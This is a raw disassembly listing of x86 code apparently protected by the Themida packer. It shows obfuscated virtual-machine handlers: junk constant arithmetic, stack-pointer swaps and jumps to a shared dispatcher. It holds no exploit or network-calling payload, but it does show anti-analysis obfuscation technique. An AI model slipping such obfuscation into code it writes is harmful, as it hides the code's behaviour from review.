loc_554E84:				; CODE XREF: Themida_:0055D42Fj
		mov	[esp], eax
		mov	eax, 64CC2532h
		shl	eax, 1
		jmp	loc_55911F
; ---------------------------------------------------------------------------


loc_554E93:				; CODE XREF: Themida_:00555B62j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		push	10DC71E2h
		pop	edx
		add	edx, 1
		jmp	loc_55B344
; ---------------------------------------------------------------------------


loc_554EAC:				; CODE XREF: Themida_:00558246j
		shr	dh, 2
		sub	dh, 0BCh
		sub	dh, 0A0h
		inc	dh
		jmp	loc_55826C
; ---------------------------------------------------------------------------


loc_554EBC:				; CODE XREF: Themida_:0055723Aj
		neg	edx
		or	edx, 43CE103Ch
		push	53A2h
		mov	[esp], edi
		mov	edi, 5926485Eh
		neg	edi
		sub	edi, 0F6A96D1Fh
		add	edx, edi
		pop	edi
		add	eax, 1DB41175h
		jmp	loc_555F10
; ---------------------------------------------------------------------------


loc_554EE6:				; CODE XREF: Themida_:0055BC4Dj
		add	edx, eax
		push	5087h
		jmp	loc_55CE61
; ---------------------------------------------------------------------------


loc_554EF2:				; CODE XREF: Themida_:0055D2A0j
		shl	dword ptr [esp], cl
		jmp	loc_5528A0
; ---------------------------------------------------------------------------


loc_554EFA:				; CODE XREF: Themida_:00559744j
		and	edx, ebp
		pop	ebp
		sub	edx, 6B087ED2h
		jmp	loc_5586B4
; ---------------------------------------------------------------------------


loc_554F08:				; CODE XREF: Themida_:00558CC4j
		mov	ebx, 4
		jmp	loc_55BE8E
; ---------------------------------------------------------------------------


loc_554F12:				; CODE XREF: Themida_:00551AE4j
		pop	ebp
		jmp	loc_5583A2
; ---------------------------------------------------------------------------


loc_554F18:				; CODE XREF: Themida_:00556B9Dj
		add	edi, 0F3BBD9ACh
		jmp	loc_55AAD0
; ---------------------------------------------------------------------------


loc_554F23:				; CODE XREF: Themida_:0055310Fj
		mov	bh, ah
		pop	eax
		add	bh, 7Ah
		add	bh, 8
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0Bh
		xor	bh, dl
		pop	dx
		shl	bh, 3
		jmp	loc_5529F1
; ---------------------------------------------------------------------------


loc_554F41:				; CODE XREF: Themida_:005592ACj
		add	eax, 6ECC3E38h
		add	eax, esi
		push	ecx
		mov	ecx, 6ECC3E38h
		jmp	loc_559D6F
; ---------------------------------------------------------------------------


loc_554F53:				; CODE XREF: Themida_:00552F24j
		sub	ebx, 5654ADBh
		jmp	loc_5536DC
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		jmp	loc_55C722
; ---------------------------------------------------------------------------


loc_554F65:				; CODE XREF: Themida_:0055CFF2j
		push	ecx
		jmp	loc_5531EC
; ---------------------------------------------------------------------------


loc_554F6B:				; CODE XREF: Themida_:0055D362j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 73EE4778h
		mov	eax, 20C1066h
		add	eax, ecx
		pop	ecx
		sub	ecx, eax
		pop	eax
		jmp	loc_556176
; ---------------------------------------------------------------------------


loc_554F87:				; CODE XREF: Themida_:0055285Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_555490
; ---------------------------------------------------------------------------


loc_554F90:				; CODE XREF: Themida_:0055BD54j
		shr	esi, 3
		xor	esi, 1002906h
		add	edx, esi
		pop	esi
		add	edx, 2
		jmp	loc_5533B1
; ---------------------------------------------------------------------------


loc_554FA4:				; CODE XREF: Themida_:0055CE5Cj
		pop	ebx
		and	dh, 32h
		sub	dh, 0ECh
		xor	dh, 2Ch
		jmp	loc_55C40D
; ---------------------------------------------------------------------------


loc_554FB3:				; CODE XREF: Themida_:0055607Dj
		mov	cl, ah
		mov	bh, cl
		pop	ecx
		pop	ax
		not	bh
		push	dx
		mov	dl, 83h
		sub	bh, dl
		pop	dx
		xor	al, bh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55D7F9
; ---------------------------------------------------------------------------


loc_554FD7:				; CODE XREF: Themida_:00551C6Dj
		mov	esi, 20310EA4h
		dec	esi
		not	esi
		or	esi, 546F1DC5h
		inc	esi
		jmp	loc_55A020
; ---------------------------------------------------------------------------


loc_554FEB:				; CODE XREF: Themida_:00552B8Ej
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_5554E9
; ---------------------------------------------------------------------------


loc_554FFD:				; CODE XREF: Themida_:00551F43j
		add	esp, 4


loc_555000:				; CODE XREF: Themida_:00558D76j
		push	edi
		push	esp
		jmp	loc_558AE6
; ---------------------------------------------------------------------------


loc_555007:				; CODE XREF: Themida_:00558121j
		sub	ebx, edx
		pop	edx
		add	ebx, 68CB5DCDh
		sub	ebx, edx
		sub	ebx, 68CB5DCDh
		push	ebp
		mov	ebp, 4B053FC1h
		jmp	loc_55C051
; ---------------------------------------------------------------------------


loc_555023:				; CODE XREF: Themida_:00559551j
		dec	ecx
		add	ecx, 0A27795F2h
		sub	edx, ecx
		pop	ecx
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_552B93
; ---------------------------------------------------------------------------


loc_555037:				; CODE XREF: Themida_:0055D352j
		mov	edx, [esp]
		jmp	loc_551BD5
; ---------------------------------------------------------------------------
		push	7930h
		push	1AE4h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55C120
; ---------------------------------------------------------------------------


loc_555052:				; CODE XREF: Themida_:005522D4j
		mov	edx, edi
		jmp	loc_558F9D
; ---------------------------------------------------------------------------


loc_555059:				; CODE XREF: Themida_:0055A57Aj
		xor	ebx, 6ED32EA9h
		xor	ebx, 244D69C4h
		mov	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_557CC1
; ---------------------------------------------------------------------------


loc_55506E:				; CODE XREF: Themida_:00556FBEj
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		push	6569h
		mov	[esp], ecx
		mov	ecx, 434B1AB4h
		push	edx
		push	esi
		mov	esi, 0BDB4E54Ch
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558311
; ---------------------------------------------------------------------------


loc_555097:				; CODE XREF: Themida_:00556B93j
		pop	dx
		add	dl, ch
		pop	ecx
		add	al, dl
		pop	edx
		push	76EEh
		jmp	loc_556E01
; ---------------------------------------------------------------------------


loc_5550A9:				; CODE XREF: Themida_:0055AF2Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_551ADD
; ---------------------------------------------------------------------------


loc_5550B7:				; CODE XREF: Themida_:00552DC1j
		push	dword ptr [esp]
		jmp	loc_55CEA9
; ---------------------------------------------------------------------------


loc_5550BF:				; CODE XREF: Themida_:00556B52j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	43A5h
		mov	[esp], edx
		mov	edx, 7F503C5Ah
		shl	edx, 1
		xor	edx, 6E96DCBh
		push	ebp
		mov	ebp, 307C290Fh
		and	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	edx
		jmp	loc_554DF9
; ---------------------------------------------------------------------------


loc_5550F4:				; CODE XREF: Themida_:0055B58Cj
		pop	ebx
		add	eax, 204371C7h
		sub	eax, 37642D08h
		sub	eax, ebx
		add	eax, 37642D08h
		push	ecx
		mov	ecx, 5A00950h
		xor	ecx, 3E763B2Dh
		xor	ecx, 1B9543BAh
		sub	eax, ecx
		jmp	loc_55C4EC
; ---------------------------------------------------------------------------


loc_55511F:				; CODE XREF: Themida_:0055B388j
		add	esp, 4
		add	esi, 4
		jmp	loc_55A17E
; ---------------------------------------------------------------------------


loc_55512D:				; CODE XREF: Themida_:00557208j
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55513D:				; CODE XREF: Themida_:00556982j
		push	eax
		mov	eax, 189F07DFh
		add	eax, 676042EAh
		xor	ebp, eax
		pop	eax
		push	edx
		mov	edx, ebp
		jmp	loc_55A1BA
; ---------------------------------------------------------------------------


loc_555153:				; CODE XREF: Themida_:0055B271j
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		jmp	$+5
		mov	edi, [esp]
		add	esp, 4
		add	esi, 1D0C5DF4h
		add	esi, 70DC6B90h
		add	esi, 5EB674Fh
		add	esi, ebx
		sub	esi, 5EB674Fh
		sub	esi, 70DC6B90h
		sub	esi, 1D0C5DF4h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556E32
; ---------------------------------------------------------------------------


loc_5551A8:				; CODE XREF: Themida_:00557C4Bj
		push	edi
		push	edx
		mov	edx, 69F52DB4h
		xor	edx, 2F2F02C4h
		and	edx, 62382927h
		add	edx, 14C6E48Ah
		mov	edi, edx
		pop	edx
		push	esi
		mov	esi, 70B269C2h
		jmp	loc_55543C
; ---------------------------------------------------------------------------


loc_5551CF:				; CODE XREF: Themida_:0055A46Bj
		push	dx
		mov	dh, 17h
		jmp	loc_552C62
; ---------------------------------------------------------------------------


loc_5551D8:				; CODE XREF: Themida_:00559DB5j
		mov	edx, [esp]
		jmp	loc_55439B
; ---------------------------------------------------------------------------


loc_5551E0:				; CODE XREF: Themida_:00554C3Dj
		pop	ecx
		sub	esp, 4
		jmp	loc_55D8D3
; ---------------------------------------------------------------------------


loc_5551EC:				; CODE XREF: Themida_:0055BCC5j
		pop	ebx
		add	ecx, 2EF6566h
		sub	edx, 76193E24h
		add	edx, ecx
		add	edx, 76193E24h
		pop	ecx
		jmp	loc_5572C8
; ---------------------------------------------------------------------------


loc_555207:				; CODE XREF: Themida_:0055CB1Dj
		mov	bh, dl
		mov	ah, bh
		jmp	loc_551C2E
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 3B664393h
		sub	eax, 590F4314h
		add	eax, 3D724A9Fh
		add	eax, ebx
		push	ecx
		push	5DDh
		mov	[esp], edi
		mov	edi, 1C8C0C21h
		jmp	loc_554C93
; ---------------------------------------------------------------------------


loc_555235:				; CODE XREF: Themida_:0055877Fj
		mov	edx, 5B2B5951h
		push	edx
		mov	edx, 2A410609h
		not	edx
		shr	edx, 6
		sub	edx, 0A6D6A5EFh
		add	eax, edx
		pop	edx
		jmp	loc_55787F
; ---------------------------------------------------------------------------


loc_555253:				; CODE XREF: Themida_:0055787Aj
		push	edx
		mov	edx, 1C947F2Eh
		xor	edx, 51926872h
		sub	edx, 0DA578E7h
		add	edx, 7C89B1Dh
		sub	eax, edx
		pop	edx
		push	2886h
		mov	[esp], ecx
		mov	ecx, 17950EADh
		xor	eax, ecx
		pop	ecx
		jmp	loc_554A34
; ---------------------------------------------------------------------------


loc_555283:				; CODE XREF: Themida_:00559028j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5564C6
; ---------------------------------------------------------------------------


loc_555299:				; CODE XREF: Themida_:00551992j
		add	ecx, 4
		jmp	loc_55494E
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Themida_:00555A3Aj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5583CC
; ---------------------------------------------------------------------------


loc_5552AD:				; CODE XREF: Themida_:005545A6j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 44h
		sub	dl, 51h
		jmp	loc_554742
; ---------------------------------------------------------------------------


loc_5552C4:				; CODE XREF: Themida_:00558C8Aj
		pop	edx
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55BFBB
; ---------------------------------------------------------------------------


loc_5552D8:				; CODE XREF: Themida_:0055AE35j
		xchg	ah, cl
		not	cl
		add	cl, 43h
		and	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_55A157
; ---------------------------------------------------------------------------


loc_5552EB:				; CODE XREF: Themida_:00551D42j
		mov	[esp], esi
		push	esp
		pop	esi
		push	763Dh
		mov	[esp], edi
		jmp	loc_55CB22
; ---------------------------------------------------------------------------


loc_5552FD:				; CODE XREF: Themida_:00558796j
		push	78CEh
		jmp	loc_559B36
; ---------------------------------------------------------------------------


loc_555307:				; CODE XREF: Themida_:005558D3j
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5582E8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	30F6h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 7ADD5CDCh
		shr	edi, 5
		sub	edi, 3D6EAE2h
		add	esi, edi
		pop	edi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 596C1698h
		xor	esi, 596C169Ch
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 50945CE7h
		neg	ecx
		or	ecx, 571137E4h
		shr	ecx, 3
		add	ecx, 3F0A7D65h
		shr	ecx, 8
		xor	ecx, 5EF9F6h
		sub	esi, 4E274DD2h
		add	esi, ecx
		add	esi, 4E274DD2h
		jmp	loc_55D795
; ---------------------------------------------------------------------------


loc_555381:				; CODE XREF: Themida_:00556886j
		mov	ebx, 4
		jmp	loc_55D0B9
; ---------------------------------------------------------------------------


loc_55538B:				; CODE XREF: Themida_:0055ADE2j
		pop	eax
		pop	ebx
		jmp	loc_55C129
; ---------------------------------------------------------------------------


loc_555392:				; CODE XREF: Themida_:0055C66Aj
		mov	ebp, 13B4D51h
		xor	ebp, edx
		jmp	loc_552840
; ---------------------------------------------------------------------------


loc_55539E:				; CODE XREF: Themida_:005546D3j
		sub	esp, 4
		jmp	loc_5592D4
; ---------------------------------------------------------------------------


loc_5553A6:				; CODE XREF: Themida_:00559440j
		pop	esi
		pop	ecx
		sub	ecx, 44C93194h
		jmp	loc_558C10
; ---------------------------------------------------------------------------


loc_5553B3:				; CODE XREF: Themida_:00558177j
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_555F34
; ---------------------------------------------------------------------------
		mov	ebx, 3B7A7E43h
		neg	ebx
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		neg	ebx
		neg	ebx
		push	ecx
		jmp	loc_55591F
; ---------------------------------------------------------------------------


loc_5553D9:				; CODE XREF: Themida_:00556935j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_55CD46
		push	dword ptr [edi+28h]
		push	eax
		mov	eax, 55D55E7Ch
		xor	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0D7D45BCh
		neg	edx
		dec	edx
		shl	edx, 5
		jmp	loc_55C187
; ---------------------------------------------------------------------------


loc_555429:				; CODE XREF: Themida_:0055DB3Ej
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55543C:				; CODE XREF: Themida_:005551CAj
		dec	esi
		dec	esi
		xor	esi, 792B58EFh
		sub	ebx, esi
		pop	esi
		sub	ebx, 3F2786Ah
		add	ebx, edi
		add	ebx, 3F2786Ah
		jmp	loc_55D999
; ---------------------------------------------------------------------------


loc_55545A:				; CODE XREF: Themida_:0055778Ej
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5556B7
; ---------------------------------------------------------------------------


loc_555485:				; CODE XREF: Themida_:0055BFDFj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55548A:				; CODE XREF: Themida_:005529F5j
		push	eax
		jmp	loc_55304A
; ---------------------------------------------------------------------------


loc_555490:				; CODE XREF: Themida_:00554F8Bj
		and	eax, edi
		jmp	loc_557765
; ---------------------------------------------------------------------------


loc_555497:				; CODE XREF: Themida_:005567A8j
		shr	eax, 6
		xor	eax, 4B102894h
		dec	eax
		add	eax, 459D62F3h
		add	eax, 0E0B0433Fh
		jmp	loc_555F00
; ---------------------------------------------------------------------------


loc_5554AF:				; CODE XREF: Themida_:0055B317j
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_555D23
; ---------------------------------------------------------------------------


loc_5554C0:				; CODE XREF: Themida_:00553141j
		pop	edi
		add	esp, 4
		push	edi
		jmp	loc_55332D
; ---------------------------------------------------------------------------


loc_5554CD:				; CODE XREF: Themida_:00553CC0j
		mov	edi, esi
		pop	esi
		jmp	loc_55C090
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5554E4
; ---------------------------------------------------------------------------


loc_5554DD:				; CODE XREF: Themida_:005576FCj
		add	ecx, ebx
		jmp	loc_555938
; ---------------------------------------------------------------------------


loc_5554E4:				; CODE XREF: Themida_:005554D8j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5554E9:				; CODE XREF: Themida_:00554FF8j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5554EE:				; CODE XREF: Themida_:0055BA77j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_558B5F
; ---------------------------------------------------------------------------


loc_5554FF:				; CODE XREF: Themida_:00556F48j
		mov	[esp], ebx
		mov	ebx, 2
		add	esi, 0A076CFFh
		sub	esi, 140724C8h
		add	esi, ebx
		add	esi, 140724C8h
		sub	esi, 0A076CFFh
		push	dword ptr [esp]
		pop	ebx
		push	245Bh
		jmp	loc_55AA98
; ---------------------------------------------------------------------------


loc_55552F:				; CODE XREF: Themida_:005532A7j
		mov	esi, 0CD7DFBFCh
		jmp	loc_558F27
; ---------------------------------------------------------------------------


loc_555539:				; CODE XREF: Themida_:0055689Cj
		shl	edx, 5
		sub	edx, 0A146F8A4h
		xor	esi, edx
		pop	edx
		xor	esi, 40E26985h
		jmp	loc_556A6C
; ---------------------------------------------------------------------------


loc_555550:				; CODE XREF: Themida_:0055BE72j
		mov	[esp], ebx
		push	esi
		mov	esi, 36AB4881h
		dec	esi
		inc	esi
		jmp	loc_55D2D3
; ---------------------------------------------------------------------------


loc_555560:				; CODE XREF: Themida_:00558CB9j
		mov	ebp, ebx
		jmp	loc_55D9D4
; ---------------------------------------------------------------------------


loc_555567:				; CODE XREF: Themida_:00556131j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5543AD
; ---------------------------------------------------------------------------


loc_55557D:				; CODE XREF: Themida_:00559F75j
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55559B:				; CODE XREF: Themida_:00557EBDj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_557E9E
; ---------------------------------------------------------------------------


loc_5555A6:				; CODE XREF: Themida_:0055CFE4j
		add	ebx, eax
		push	eax
		mov	eax, 78135DD7h
		shr	eax, 3
		sub	eax, 0CFCD35F3h
		jmp	loc_557931
; ---------------------------------------------------------------------------


loc_5555BB:				; CODE XREF: Themida_:0055CBF4j
		sub	esp, 4
		jmp	loc_554E66
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_557D43
; ---------------------------------------------------------------------------


loc_5555D0:				; CODE XREF: Themida_:005520B1j
		add	edx, edi
		add	edx, 48A75FE9h
		add	edx, 58F64BBDh
		push	ecx
		mov	ecx, 0
		push	eax
		jmp	loc_553CEF
; ---------------------------------------------------------------------------


loc_5555EA:				; CODE XREF: Themida_:005568F6j
		pop	esi
		add	esp, 4
		jmp	loc_5523E3
; ---------------------------------------------------------------------------


loc_5555F6:				; CODE XREF: Themida_:00556038j
		pop	ebx
		push	ecx
		mov	ecx, 2
		sub	edi, ecx
		pop	ecx
		jmp	loc_558F0F
; ---------------------------------------------------------------------------


loc_555605:				; CODE XREF: Themida_:005527FBj
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_557E2D
; ---------------------------------------------------------------------------


loc_555616:				; CODE XREF: Themida_:0055D8F5j
		push	4EEh
		mov	[esp], esi
		mov	esi, 76523018h
		push	ebp
		mov	ebp, 1DC80FF3h
		neg	ebp
		xor	ebp, 5A6E7419h
		neg	ebp
		xor	ebp, 48195255h
		sub	esi, 207B5B64h
		sub	esi, ebp
		jmp	loc_55B0BC
; ---------------------------------------------------------------------------


loc_555646:				; CODE XREF: Themida_:0055992Dj
		mov	edx, edi
		pop	edi
		pop	esi
		and	eax, edx
		pop	edx
		shr	eax, 0Ch
		jmp	loc_55AA18
; ---------------------------------------------------------------------------


loc_555655:				; CODE XREF: Themida_:00558A30j
		dec	ah
		not	ah
		shr	ah, 2
		xor	ah, 91h
		xor	ah, 42h
		xor	bh, ah
		pop	eax
		add	al, bh
		pop	ebx
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 6B593A36h
		sub	dword ptr [esp+4], 4C621062h
		sub	dword ptr [esp+4], 6B444E6Ah
		jmp	loc_556347
; ---------------------------------------------------------------------------


loc_55568C:				; CODE XREF: Themida_:00555DCCj
		pop	edi
		jmp	loc_55973A
; ---------------------------------------------------------------------------


loc_555692:				; CODE XREF: Themida_:00558ADAj
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_559E29
; ---------------------------------------------------------------------------


loc_55569E:				; CODE XREF: Themida_:00559120j
		push	esi
		mov	esi, 79922F3Ah
		add	esi, 0FFFFFFFFh
		add	esi, 0C8C7DD18h
		add	eax, esi
		jmp	loc_5598A2
; ---------------------------------------------------------------------------


loc_5556B7:				; CODE XREF: Themida_:00555480j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5FD5h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5565C5
; ---------------------------------------------------------------------------


loc_5556E0:				; CODE XREF: Themida_:0055ABFCj
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_55BCFA
; ---------------------------------------------------------------------------


loc_5556EA:				; CODE XREF: Themida_:005519E2j
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 3AC82527h
		jmp	loc_5588CA
; ---------------------------------------------------------------------------


loc_5556F8:				; CODE XREF: Themida_:0055CCC8j
		and	dl, 47h
		push	bx
		mov	bh, 0C1h
		sub	dl, bh
		pop	bx
		push	eax
		mov	ah, 0C8h
		jmp	loc_554577
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55571A:				; CODE XREF: Themida_:00556E59j
		mov	bh, 0D0h
		push	ecx
		jmp	loc_5566EE
; ---------------------------------------------------------------------------


loc_555722:				; CODE XREF: Themida_:0055BC42j
		dec	edx
		inc	edx
		xor	edx, 9D91245h
		mov	eax, edx
		jmp	loc_55DA03
; ---------------------------------------------------------------------------


loc_555731:				; CODE XREF: Themida_:005560C6j
		push	edx
		mov	dl, 86h
		dec	dl
		shl	dl, 8
		shl	dl, 6
		not	dl
		jmp	loc_552D45
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		jmp	loc_5566A4
; ---------------------------------------------------------------------------


loc_55574B:				; CODE XREF: Themida_:0055807Ej
		push	ecx
		push	783362A1h
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 3B209FEh
		sub	eax, ecx
		push	esi
		mov	esi, 3B209FEh
		sub	eax, 601C7003h
		jmp	loc_558126
; ---------------------------------------------------------------------------


loc_555771:				; CODE XREF: Themida_:00552CF3j
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_554DC1
; ---------------------------------------------------------------------------


loc_55577D:				; CODE XREF: Themida_:0055C5C8j
		push	edi
		mov	edi, 43FC0217h
		push	6DD1h
		mov	[esp], ebx
		mov	ebx, 0BD4C18F2h
		jmp	loc_555BDD
; ---------------------------------------------------------------------------


loc_555795:				; CODE XREF: Themida_:0055B8ADj
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_558295
; ---------------------------------------------------------------------------


loc_5557AC:				; CODE XREF: Themida_:0055BC67j
		mov	[esp], ebx
		jmp	loc_55D5EE
; ---------------------------------------------------------------------------


loc_5557B4:				; CODE XREF: Themida_:0055B9FEj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	66A2h
		mov	[esp], eax
		push	24h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 374D4369h
		add	eax, edi
		add	eax, 374D4369h
		push	edx
		mov	edx, 0
		add	edx, eax
		push	eax
		jmp	loc_5559D6
; ---------------------------------------------------------------------------


loc_5557F2:				; CODE XREF: Themida_:0055D585j
		and	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55D485
; ---------------------------------------------------------------------------


loc_555816:				; CODE XREF: Themida_:00558873j
		pop	ebp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55581C:				; CODE XREF: Themida_:00552D9Ej
		push	ebp
		mov	ebp, 34737C0h
		sub	ebp, 1
		neg	ebp
		dec	ebp
		push	ecx
		push	ebp
		jmp	loc_552622
; ---------------------------------------------------------------------------


loc_555832:				; CODE XREF: Themida_:00556D78j
		pop	esi
		jmp	loc_556AE5
; ---------------------------------------------------------------------------


loc_555838:				; CODE XREF: Themida_:0055609Fj
		push	edi
		mov	edi, 8A15516h
		jmp	loc_555B01
; ---------------------------------------------------------------------------


loc_555843:				; CODE XREF: Themida_:00558016j
		mov	[esp], esi
		push	eax
		push	edx
		push	1EB65994h
		jmp	loc_55BC41
; ---------------------------------------------------------------------------
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_555857:				; CODE XREF: Themida_:005529ECj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55585C:				; CODE XREF: Themida_:005558ECj
		sub	al, bl
		jmp	loc_556594
; ---------------------------------------------------------------------------


loc_555863:				; CODE XREF: Themida_:0055C1EBj
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_555BF3
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_558074
; ---------------------------------------------------------------------------


loc_55588B:				; CODE XREF: Themida_:00558763j
		sub	esi, 1
		jmp	loc_555B48
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55442E
; ---------------------------------------------------------------------------


loc_55589E:				; CODE XREF: Themida_:005559B2j
		pop	edi
		push	esi
		push	eax
		jmp	loc_552056
; ---------------------------------------------------------------------------


loc_5558A6:				; CODE XREF: Themida_:00556100j
		xor	bh, 67h
		sub	ch, bh
		pop	ebx
		sub	ch, bl
		add	ch, 1Eh
		pop	ebx
		jmp	loc_55C543
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555307
; ---------------------------------------------------------------------------


loc_5558D8:				; CODE XREF: Themida_:0055B7C0j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55197C
; ---------------------------------------------------------------------------


loc_5558E1:				; CODE XREF: Themida_:00554B41j
		inc	edx
		jmp	loc_5573AA
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 38h
		add	al, 2Ch
		jmp	loc_55585C
; ---------------------------------------------------------------------------


loc_5558F1:				; CODE XREF: Themida_:0055B0C3j
		and	esi, 62F569FFh
		add	esi, 5CB67268h
		shl	esi, 1
		jmp	loc_5578AC
; ---------------------------------------------------------------------------


loc_555904:				; CODE XREF: Themida_:00557C52j
		mov	bh, 99h
		or	ch, bh
		pop	bx
		not	ch
		jmp	loc_558BBA
; ---------------------------------------------------------------------------


loc_555911:				; CODE XREF: Themida_:0055C136j
		sub	al, cl
		jmp	loc_55DAE0
; ---------------------------------------------------------------------------


loc_555918:				; CODE XREF: Themida_:0055D3FFj
		mov	dl, 2Eh
		jmp	loc_55276A
; ---------------------------------------------------------------------------


loc_55591F:				; CODE XREF: Themida_:005553D4j
		mov	ecx, 5CAD7117h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_559B9E
; ---------------------------------------------------------------------------


loc_55592C:				; CODE XREF: Themida_:005587EAj
		push	edi
		push	ebx
		mov	ebx, 2
		jmp	loc_559947
; ---------------------------------------------------------------------------


loc_555938:				; CODE XREF: Themida_:005554DFj
		sub	ecx, 26977663h
		sub	ecx, 0D45534Ah
		jmp	loc_55871F
; ---------------------------------------------------------------------------


loc_555949:				; CODE XREF: Themida_:00553086j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6CCB33C6h
		shl	eax, 5
		jmp	loc_552FAA
; ---------------------------------------------------------------------------


